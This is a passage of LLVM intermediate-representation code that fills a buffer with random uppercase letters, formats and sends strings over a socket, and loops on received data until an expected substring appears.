store i8 %69, i8* %70
%71 = call i32 (...) @rand()
%72 = srem i32 %71, 26
%73 = trunc i32 %72 to i8
%74 = add nsw i8 %73, 65
%75 = getelementptr inbounds [6 x i8], [6 x i8]* %4, i64 0, i64 3
store i8 %74, i8* %75
%76 = call i32 (...) @rand()
%77 = srem i32 %76, 26
%78 = trunc i32 %77 to i8
%79 = add nsw i8 %78, 65
%80 = getelementptr inbounds [6 x i8], [6 x i8]* %4, i64 0, i64 4
store i8 %79, i8* %80
%81 = call i32 (...) @rand()
%82 = srem i32 %81, 26
%83 = trunc i32 %82 to i8
%84 = add nsw i8 %83, 65
%85 = getelementptr inbounds [6 x i8], [6 x i8]* %4, i64 0, i64 5
store i8 %84, i8* %85
%86 = call i32 @sprintf(i8* %12, i8* %18, i8* %14, i8* %14, i8* %14, i8* %14, i8* %14)
%87 = call i32 @_sys_send(i32 %29, i8* %12)
%88 = call i32 @_sys_send(i32 %29, i8* %19)
%89 = call i32* @strstr(i8* %13, i8* %20)
%90 = icmp eq i32* %89, null
br i1 %90, label %91, label %95
91: ; preds = %54, %91
%92 = call i32 @recv(i32 %29, i8* %13, i32 2048, i32 0)
%93 = call i32* @strstr(i8* %13, i8* %20)
%94 = icmp eq i32* %93, null
br i1 %94, label %91, label %95
95: ; preds = %91, %54
ret i8* null
}